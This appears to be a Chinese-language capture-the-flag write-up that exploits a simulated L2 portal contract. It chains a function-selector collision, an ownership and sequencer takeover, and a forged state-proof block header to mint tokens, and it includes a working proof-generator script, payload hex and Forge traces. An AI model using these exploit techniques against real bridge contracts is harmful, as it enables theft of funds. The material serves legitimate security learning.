这是一个模拟 L2 合约的挑战
首先,用 AI 读懂这个合约,一共三个API。
将 bytes memory _rlpBlockHeader 拆分为 bytes32 parentHash, bytes32 stateRoot, uint256 blockNumber, uint256 timestamp,存储到全局状态里。
这里存在明显的漏洞,违反了 C-E-I原则,它会向 address[] calldata _messageReceivers, bytes[] calldata _messageData 逐个派送消息,然后调用 _verifyMessageInclusion,该函数会进行严格的校验,查看入参的hash是否符合 L2State 的记载,校验失败则触发回滚,无法执行后续的铸币。
同上,但执行的是 burn 。
铸造至少1个币。
_verifyMessageInclusion 使用的数据来自 constructor,它会校验 message hash 是否与 l2StateRoots[bufferIndex] 的记载完全相同,所以这个校验是无法通过的。
function _executeOperation(
address target,
bytes calldata callData,
bool isGovernanceAction
) internal {
if(!isGovernanceAction){
// Ensure the execution is the onMessageReceived(bytes) entrypoint on the target address
require(bytes4(callData[0:4]) == bytes4(0x3a69197e), "Invalid message entrypoint");
}
(bool success, ) = target.call(callData);
require(success, "Execution failed");
}允许调用 onMessageReceived(bytes) 函数,事实上,允许调用任何满足 bytes4(0x3a69197e) 约束的函数。
if(_messageReceivers.length != 0){
for(uint i; i < _messageReceivers.length - 1; i++){
messageReceiversAccumulatedHash = keccak256(abi.encode(messageReceiversAccumulatedHash, _messageReceivers[i]));
messageDatasAccumulatedHash = keccak256(abi.encode(messageDatasAccumulatedHash, _messageDatas[i]));
}
}messageReceivers.length - 1,跳过了最后一组消息。
modifier onlyOwner() {
require(msg.sender == owner || msg.sender == address(this), "Caller not owner");
_;
}这个函数写得很严格,一开始我想通过外部的 onMessageReceived 进行 delegatecall 绕过检查,但失败了,因为会触发 msg.sender == address(this),只允许owner或者合约本身来调用。
事实上,这是最难的一步。
这几个函数的命名很奇怪,全部带了一串数字,尚未明确添加数字的意图,而且全部都有权限限制。
// Permissioned function (optimized to be at the end of the function selector dispatching)
function submitNewBlock_____37278985983(bytes memory rlpBlockHeader) external onlySequencer {
(bytes32 parentHash, bytes32 stateRoot, uint256 blockNumber, uint256 timestamp) = _extractData(rlpBlockHeader);
_updateL2State(keccak256(rlpBlockHeader), parentHash, stateRoot, blockNumber, timestamp);
}
function updateSequencer_____76439298743(address newSequencer) external onlyOwner {
sequencer = newSequencer;
}
function transferOwnership_____610165642(address newOwner) external onlyOwner {
owner = newOwner;
}
function governanceAction_____2357862414(address target, bytes calldata callData) external onlyGovernance {
_executeOperation(target, callData, true);
}submitNewBlock_____37278985983,更新L2State,需要msg.sender == sequencer,看起来很有用。updateSequencer_____76439298743,设置sequencer,需要onlyOwner,看起来很有用。transferOwnership_____610165642,设置owner,需要onlyOwner,看起来很有用。governanceAction_____2357862414,以任意身份执行任意命令,需要msg.sender == governance,究极逆天的后门功能。
很可惜,这些强力的 API 都有限制。
反复思考后,认为入口肯定是 executeMessage,它可以调用到 _executeOperation,执行调用需要满足两个条件之一:
isGovernanceAction,它始终为falsebytes4(callData[0:4]) == bytes4(0x3a69197e),问题就出现在这里!
万一万一万一,我说万一,某个函数的hash恰好是 0x3a69197e 呢?还真找到一个!
transferOwnership_____610165642(address) 可以被调用!因此,将攻击合约设置为owner。
攻击合约已经是owner了,可以调用 updateSequencer_____76439298743 将自己设置为 sequencer。
攻击合约已经是sequencer了,因此可以设置 L2State,将精心构造的数据刷新到全局状态中,从而通过 _verifyMessageInclusion 的检查。
哈希的素材包括:
_tokenReceiver, 铸造的目标,无所谓是谁,合法的地址即可_amount,铸币的数量,大于1即可_messageReceivers&_messageDatas,外部调用的数据,注意,它不检查最后一组数据[0]: (address_of_instance, "transferOwnership_____610165642(address_of_attack_contract)")[1]: (address_of_attack_contract, "onMessageReceived(bytes)")
_salt,盐,可以是任意值
因此,可以轻松预测出哈希的数据,将 _computeMessageSlot 抠出来运行即可。
计算 L2State 的素材包括:
withdrawalHash,上一步计算出来的哈希_proofs.stateTrieProof&_proofs.storageTrieProof&_proofs.accountStateRlp,L2的数据_bufferIndex,存储槽位,需要保证l2StateRoots[bufferIndex]存放的数据将参与计算
_updateL2State中,参与计算的数据包括:
bufferCount= 1- IMPORTANT:
l2StateRoots[bufferCounter] = newRootState - IMPORTANT:
bufferCounter = (bufferCounter + 1) % 1000
因此,可以离线算出一套数据,满足 _verifyMessageInclusion 的校验。
如何计算它,说实话我也不懂,不断和 LLM 交互直到拿到正确的计算结果和验证。
const { RLP } = require('@ethereumjs/rlp');
const { Trie } = require('@ethereumjs/trie');
const createKeccakHash = require('keccak');
// === 配置常量 (必须与题目环境一致) ===
const CONFIG = {
WITHDRAWAL_HASH: "0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c",
L2_TARGET: "0x4242424242424242424242424242424242424242",
PREV_HASH: "0xed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9",
PREV_NUM: 60806040,
PREV_TIME: 1606824023
};
// === 辅助工具 ===
const k256 = (x) => createKeccakHash('keccak256').update(x).digest();
const toBuf = (val) => {
if (Buffer.isBuffer(val)) return val;
if (typeof val === 'string') return Buffer.from(val.startsWith('0x') ? val.slice(2) : val, val.startsWith('0x') ? 'hex' : 'utf8');
if (typeof val === 'number') {
if (val === 0) return Buffer.alloc(0);
let hex = val.toString(16);
return Buffer.from((hex.length % 2 ? '0' : '') + hex, 'hex');
}
throw new Error('Invalid type');
};
async function main() {
try {
console.log("Generating payload...\n");
// 1. Storage Trie: 证明 WITHDRAWAL_HASH 的值是 0x01
// ------------------------------------------------------------------
const storageTrie = new Trie({ useKeyHashing: true });
const storageKey = toBuf(CONFIG.WITHDRAWAL_HASH);
await storageTrie.put(storageKey, RLP.encode(toBuf("0x01")));
const storageRoot = storageTrie.root();
const storageProof = RLP.encode(await storageTrie.createProof(storageKey));
// 2. Account State: 构建账户,把 storageRoot 塞进去
// ------------------------------------------------------------------
// 结构: [nonce, balance, storageRoot, codeHash]
const accountData = [0, 0, storageRoot, k256(Buffer.from(''))];
const accountRlp = RLP.encode(accountData);
// 3. State Trie: 证明 L2_TARGET 的状态是上面的 Account
// ------------------------------------------------------------------
const stateTrie = new Trie({ useKeyHashing: true });
const targetAddr = toBuf(CONFIG.L2_TARGET);
await stateTrie.put(targetAddr, accountRlp);
const stateRoot = stateTrie.root(); // <--- 这个 Root 包含了所有的伪造信息
const stateProof = RLP.encode(await stateTrie.createProof(targetAddr));
// 4. Block Header: 构建区块头,把 stateRoot 塞进去
// ------------------------------------------------------------------
// 标准以太坊区块头 (15个字段),stateRoot 在第 4 位 (index 3)
const headerData = [
toBuf(CONFIG.PREV_HASH), // parentHash
toBuf("0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347"), // ommersHash
toBuf("0x0000000000000000000000000000000000000000"), // miner
stateRoot, // stateRoot (关键!)
toBuf("0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"), // txRoot
toBuf("0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"), // receiptsRoot
toBuf("0x0000000000000000"), // bloom (简化)
toBuf(1), // difficulty
toBuf(CONFIG.PREV_NUM + 1), // number
toBuf(30000000), // gasLimit
toBuf(0), // gasUsed
toBuf(CONFIG.PREV_TIME + 100), // timestamp
toBuf("0x"), // extraData
toBuf("0x0000000000000000000000000000000000000000000000000000000000000000"), // mixHash
toBuf("0x0000000000000000") // nonce
];
const rlpHeader = RLP.encode(headerData);
// === 输出可以直接复制到 Solidity 的代码 ===
const p = (uint8array) => `hex"${Buffer.from(uint8array).toString('hex')}"`;
console.log("// [Solidity] Copy into attack():");
console.log(`proofs.stateTrieProof = ${p(stateProof)};`);
console.log(`proofs.storageTrieProof = ${p(storageProof)};`);
console.log(`proofs.accountStateRlp = ${p(accountRlp)};`);
console.log("\n// [Solidity] Copy into onMessageReceived():");
console.log(`bytes memory rlpHeader = ${p(rlpHeader)};`);
} catch (e) {
console.error(e);
}
}
main();$ node gen.js
Generating payload...
// [Solidity] Copy into attack():
proofs.stateTrieProof = hex"f86eb86cf86aa120352a47fc6863b89a6b51890ef3c1550d560886c027141d2058ba1e2d4c66d99ab846f8448080a0684336256c2b7b6b52d8ffd629dcbdb9cb95131e45ed01cde028bfac9fd0f16fa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470";
proofs.storageTrieProof = hex"e5a4e3a120d57101a72c27f959b9315f1265a21fd3f10f5d9be035aa5ba4d78f578dc00f6a01";
proofs.accountStateRlp = hex"f8448080a0684336256c2b7b6b52d8ffd629dcbdb9cb95131e45ed01cde028bfac9fd0f16fa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470";
// [Solidity] Copy into onMessageReceived():
bytes memory rlpHeader = hex"f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0377466d70e80be111c77677f064ab145dbec51595c018c54bfed1896b8fcaa8ca0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000";withdrawlHash 的计算需要提前知道 attacker_contract 的地址,attacker_contract 的逻辑代码需要提前知道 withdrawlHash 的值。
看起来这是一个鸡生蛋和蛋生鸡的问题,不过仍然有很多种解决方案。
举例1:使用在 attacker_contract 里提供一个较长的storage,在部署后单独发送交易来赋值。很麻烦,于是我想了一个巧妙的方法。
举例2:由于 vuln2 的存在,_messageReceivers[1] 和 _messageData[1] 是参与哈希计算的,也就是说,onMessageReceived(bytes) 的参数可以随意指定,不影响整体结果。这样在部署了攻击合约后,就有无限次进行尝试的机会。这很可能是出题人的怜悯
| Parameter | Type | Value |
|---|---|---|
_tokenReceiver |
address |
0x8888888888888888888888888888888888888888 |
_amount |
uint256 |
1 |
_messageReceivers |
address[] |
[instance, attacker_contract] |
_messageData |
bytes[] |
["transferOwnership_____610165642(address_of_attack_contract)", "onMessageReceived(bytes)"] |
_salt |
uint256 |
1 |
_proofs |
ProofData |
CALCULATE |
_bufferIndex |
uint16 |
1 |
+--------------+ +-----------------------------+ +--------------------+
| AttackScript | | Target Protocol | | Attacker Contract |
| | | (0xCb34...9b09) | | (0x549c...E217) |
+------+-------+ +-------------+---------------+ +---------+----------+
| | |
| executeMessage(...) | |
|-------------------------------->| |
| | |
| | 1. transferOwnership(Attacker) |
| |-----\ |
| | | Self-Call |
| |<----/ |
| | |
| | 2. onMessageReceived(...) |
| |------------------------------------>|
| | |
| | updateSequencer(...) |
| | <-----------------------------------|
| | |
| | submitNewBlock(...) |
| | <-----------------------------------|
| | |
| |<-------------------------[Return]---|
| | |
| | 3. _verifyMessageInclusion() |
| |-----\ Check Proof |
| | | Self-Call |
| |<----/ |
| | |
|<------------[Stop]--------------| |
| | |
Attack hash: 0x27550233cf3e4681ede5978bf271e743d249c9ecac63965b02ba6919a21dcc58
Local test:
forge test --match-path test/Attack.t.sol -vvvv
$ forge test --match-path test/Attack.t.sol -vvvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/Attack.t.sol:AttackTest
[PASS] test_Attack_Takeover_TraceOnly() (gas: 526023)
Traces:
[528823] AttackTest::test_Attack_Takeover_TraceOnly()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [509079] NotOptimisticPortal::executeMessage(0x8888888888888888888888888888888888888888, 1, [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a], [0x3a69197e000000000000000000000000959951c51b3e4b4eaa55a13d1d761e14ad0a1d6a, 0x3a69197e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000202f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000000000000000000000000000000000000000000000000000000000000000], 1, ProofData({ stateTrieProof: 0xf86eb86cf86aa120352a47fc6863b89a6b51890ef3c1550d560886c027141d2058ba1e2d4c66d99ab846f8448080a0b538f6ce53e59d01c60a3aabcb910c4065e1f080cd72f2a812f9a8605af69f15a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, storageTrieProof: 0xe5a4e3a1205a85025c44aa66bf877c387294c6426666f066c490f5a969471247d6bc63b3ba01, accountStateRlp: 0xf8448080a0b538f6ce53e59d01c60a3aabcb910c4065e1f080cd72f2a812f9a8605af69f15a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 }), 1)
│ ├─ [5812] NotOptimisticPortal::transferOwnership_____610165642(Attack: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
│ │ └─ ← [Stop]
│ ├─ [117505] Attack::onMessageReceived(0xf8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000)
│ │ ├─ [22934] NotOptimisticPortal::updateSequencer_____76439298743(Attack: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
│ │ │ └─ ← [Stop]
│ │ ├─ [87221] NotOptimisticPortal::submitNewBlock_____37278985983(0xf8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x8888888888888888888888888888888888888888, value: 1)
│ ├─ emit MessageExecuted(to: 0x8888888888888888888888888888888888888888, amount: 1, targetAddresses: [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a], executionDatas: [0x3a69197e000000000000000000000000959951c51b3e4b4eaa55a13d1d761e14ad0a1d6a, 0x3a69197e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000202f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000000000000000000000000000000000000000000000000000000000000000], salt: 1)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
[PASS] test_ComputeMessageSlotLastElementBug() (gas: 22946)
Logs:
Hash 1 (base parameters):
0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c
Hash 2 (last element modified):
0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c
Bug verified: _computeMessageSlot skips the last element with these parameters.
Traces:
[22946] AttackTest::test_ComputeMessageSlotLastElementBug()
├─ [0] console::log("Hash 1 (base parameters):") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log(0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] new_attack_address: [0xA99904F35c97d9C112947a373038b04903c357E7]
├─ [0] VM::label(new_attack_address: [0xA99904F35c97d9C112947a373038b04903c357E7], "new_attack_address")
│ └─ ← [Return]
├─ [0] console::log("Hash 2 (last element modified):") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log(0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Bug verified: _computeMessageSlot skips the last element with these parameters.") [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]

